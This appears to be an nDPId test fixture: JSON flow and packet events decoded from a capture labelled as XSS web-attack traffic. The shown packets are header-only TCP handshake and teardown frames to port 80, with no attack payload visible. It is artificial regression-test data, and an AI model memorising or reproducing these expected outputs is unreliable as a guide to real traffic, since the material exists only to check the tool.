+00444{"flow_id":184,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2613,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347281,"pkt_ts_usec":325238,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8klhAAD4GM3isEAABwKgKMtjkAFB+h4huAAAAAKACchBjaQAAAgQFtAQCCAoBOho2AAAAAAEDAwc="} +00444{"flow_id":184,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2614,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347281,"pkt_ts_usec":325376,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2ORl6oVWfoeIb6AScSCJdwAAAgQFtAQCCAoD4+usAToaNgEDAwc="} +00432{"flow_id":184,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2615,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347281,"pkt_ts_usec":326141,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0kllAAD4GM3+sEAABwKgKMtjkAFB+h4hvZeqFV4AQAOUofwAAAQEICgE6GjYD4+us"} +00433{"flow_id":181,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2619,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347281,"pkt_ts_usec":695009,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0RHpAAD4GgV6sEAABwKgKMtiuAFAiVFEytfdKwoARAOWrPAAAAQEICgE6GpMD4+a\/"} +00432{"flow_id":181,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2620,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347281,"pkt_ts_usec":695198,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0pstAAEAGHQ3AqAoyrBAAAQBQ2K6190rCIlRRM4ARAOOl8wAAAQEICgPj7AkBOhqT"} +00432{"flow_id":181,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2621,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347281,"pkt_ts_usec":695939,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0RHtAAD4GgV2sEAABwKgKMtiuAFAiVFEztfdKw4AQAOWl8QAAAQEICgE6GpMD4+wJ"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2625,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":185,"flow_packet_id":1,"flow_first_seen":1499347282573,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55538,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":185,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2625,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347282,"pkt_ts_usec":573995,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8mj1AAD4GK5OsEAABwKgKMtjyAFDR4YFTAAAAAKACchAV5AAAAgQFtAQCCAoBOhtuAAAAAAEDAwc="} +00445{"flow_id":185,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2626,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347282,"pkt_ts_usec":574166,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2PL\/kZOB0eGBVKAScSCS5gAAAgQFtAQCCAoD4+zlATobbgEDAwc="} +00433{"flow_id":185,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2627,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347282,"pkt_ts_usec":574915,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0mj5AAD4GK5qsEAABwKgKMtjyAFDR4YFU\/5GTgoAQAOUx7QAAAQEICgE6G28D4+zl"} +00432{"flow_id":182,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2631,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347282,"pkt_ts_usec":695400,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0EvtAAD4Gst2sEAABwKgKMti8AFAjjgSHUoRm6oARAOU7uwAAAQEICgE6G40D4+f1"} +00433{"flow_id":182,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2632,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347282,"pkt_ts_usec":695643,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0i+lAAEAGN+\/AqAoyrBAAAQBQ2LxShGbqI44EiIARAOM2rgAAAQEICgPj7QMBOhuN"} +00432{"flow_id":182,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2633,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347282,"pkt_ts_usec":696361,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0EvxAAD4GstysEAABwKgKMti8AFAjjgSIUoRm64AQAOU2rAAAAQEICgE6G40D4+0D"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2634,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":141,"flow_packet_id":6,"flow_first_seen":1499347207764,"flow_last_seen":1499347213674,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54742,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2634,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":141,"flow_packet_id":6,"flow_first_seen":1499347207764,"flow_last_seen":1499347213674,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54742,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2634,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":142,"flow_packet_id":6,"flow_first_seen":1499347210270,"flow_last_seen":1499347215675,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54768,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2634,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":142,"flow_packet_id":6,"flow_first_seen":1499347210270,"flow_last_seen":1499347215675,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54768,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2634,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":143,"flow_packet_id":6,"flow_first_seen":1499347211522,"flow_last_seen":1499347216676,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54782,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2634,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":143,"flow_packet_id":6,"flow_first_seen":1499347211522,"flow_last_seen":1499347216676,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54782,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2634,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":144,"flow_packet_id":6,"flow_first_seen":1499347214088,"flow_last_seen":1499347219676,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54808,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2634,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":144,"flow_packet_id":6,"flow_first_seen":1499347214088,"flow_last_seen":1499347219676,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54808,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2634,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":145,"flow_packet_id":6,"flow_first_seen":1499347215361,"flow_last_seen":1499347220676,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54822,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2634,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":145,"flow_packet_id":6,"flow_first_seen":1499347215361,"flow_last_seen":1499347220676,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54822,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2634,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":146,"flow_packet_id":6,"flow_first_seen":1499347216659,"flow_last_seen":1499347221677,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54836,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2634,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":146,"flow_packet_id":6,"flow_first_seen":1499347216659,"flow_last_seen":1499347221677,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54836,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2644,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":186,"flow_packet_id":1,"flow_first_seen":1499347285114,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55564,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":186,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2644,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347285,"pkt_ts_usec":114428,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8AAxAAD4GxcSsEAABwKgKMtkMAFDF1B3mAAAAAKACchCCyAAAAgQFtAQCCAoBOh3qAAAAAAEDAwc="} +00444{"flow_id":186,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2645,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347285,"pkt_ts_usec":114542,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2Qzzh7fuxdQd56AScSDk7AAAAgQFtAQCCAoD4+9gATod6gEDAwc="} +00432{"flow_id":186,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2646,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347285,"pkt_ts_usec":115281,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0AA1AAD4GxcusEAABwKgKMtkMAFDF1B3n84e374AQAOWD9AAAAQEICgE6HeoD4+9g"} +00432{"flow_id":183,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2649,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347285,"pkt_ts_usec":696414,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0qXJAAD4GHGasEAABwKgKMtjWAFBVFLGIwNdRu4ARAOX+jgAAAQEICgE6HnsD4+pt"} +00433{"flow_id":183,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2650,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347285,"pkt_ts_usec":696634,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0vkpAAEAGBY7AqAoyrBAAAQBQ2NbA11G7VRSxiYARAOP5CwAAAQEICgPj7\/EBOh57"} +00433{"flow_id":183,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2651,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347285,"pkt_ts_usec":697369,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0qXNAAD4GHGWsEAABwKgKMtjWAFBVFLGJwNdRvIAQAOX5CQAAAQEICgE6HnsD4+\/x"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2655,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":187,"flow_packet_id":1,"flow_first_seen":1499347286403,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55578,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":187,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2655,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347286,"pkt_ts_usec":403653,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8meVAAD4GK+usEAABwKgKMtkaAFAW6IbJAAAAAKACchDHgQAAAgQFtAQCCAoBOh8sAAAAAAEDAwc="} +00445{"flow_id":187,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2656,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347286,"pkt_ts_usec":403752,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2Rp9ePmhFuiGyqAScSBcwAAAAgQFtAQCCAoD4\/CiATofLAEDAwc="} +00434{"flow_id":187,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2657,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347286,"pkt_ts_usec":404487,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0meZAAD4GK\/KsEAABwKgKMtkaAFAW6IbKfXj5ooAQAOX7xwAAAQEICgE6HywD4\/Ci"} +00432{"flow_id":184,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2661,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347286,"pkt_ts_usec":696310,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0klpAAD4GM36sEAABwKgKMtjkAFB+h4hvZeqFV4ARAOUjPwAAAQEICgE6H3UD4+us"} +00432{"flow_id":184,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2662,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347286,"pkt_ts_usec":696523,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0dbxAAEAGThzAqAoyrBAAAQBQ2ORl6oVXfoeIcIARAOMeAQAAAQEICgPj8OsBOh91"} +00434{"flow_id":184,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2663,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347286,"pkt_ts_usec":697272,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0kltAAD4GM32sEAABwKgKMtjkAFB+h4hwZeqFWIAQAOUd\/wAAAQEICgE6H3UD4\/Dr"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2667,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":188,"flow_packet_id":1,"flow_first_seen":1499347287659,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55592,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":188,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2667,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347287,"pkt_ts_usec":659781,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA814FAAD4G7k6sEAABwKgKMtkoAFDVWPfnAAAAAKACchCWqgAAAgQFtAQCCAoBOiBmAAAAAAEDAwc="} +00445{"flow_id":188,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2668,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347287,"pkt_ts_usec":659934,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2Sh6EWHG1Vj36KAScSDF8QAAAgQFtAQCCAoD4\/HcATogZgEDAwc="} +00433{"flow_id":188,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2669,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347287,"pkt_ts_usec":660640,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA014JAAD4G7lWsEAABwKgKMtkoAFDVWPfoehFhx4AQAOVk+QAAAQEICgE6IGYD4\/Hc"} +00433{"flow_id":185,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2673,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347287,"pkt_ts_usec":696228,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0mj9AAD4GK5msEAABwKgKMtjyAFDR4YFU\/5GTgoARAOUs7AAAAQEICgE6IG8D4+zl"} +00433{"flow_id":185,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2674,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347287,"pkt_ts_usec":696611,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0YmdAAEAGYXHAqAoyrBAAAQBQ2PL\/kZOC0eGBVYARAOMn7QAAAQEICgPj8eUBOiBv"} +00434{"flow_id":185,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2675,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347287,"pkt_ts_usec":697349,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0mkBAAD4GK5isEAABwKgKMtjyAFDR4YFV\/5GTg4AQAOUn6wAAAQEICgE6IG8D4\/Hl"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2685,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":189,"flow_packet_id":1,"flow_first_seen":1499347290163,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55618,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":189,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2685,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347290,"pkt_ts_usec":163981,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8D11AAD4GtnOsEAABwKgKMtlCAFDDfi2FAAAAAKACchBwWwAAAgQFtAQCCAoBOiLYAAAAAAEDAwc="} +00445{"flow_id":189,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2686,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347290,"pkt_ts_usec":164077,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2ULBAUn+w34thqAScSBuCAAAAgQFtAQCCAoD4\/ROAToi2AEDAwc="} +00434{"flow_id":189,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2687,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347290,"pkt_ts_usec":164862,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0D15AAD4GtnqsEAABwKgKMtlCAFDDfi2GwQFJ\/4AQAOUNEAAAAQEICgE6ItgD4\/RO"} +00432{"flow_id":186,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2691,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347290,"pkt_ts_usec":697544,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0AA5AAD4GxcqsEAABwKgKMtkMAFDF1B3n84e374ARAOV+gAAAAQEICgE6I10D4+9g"} 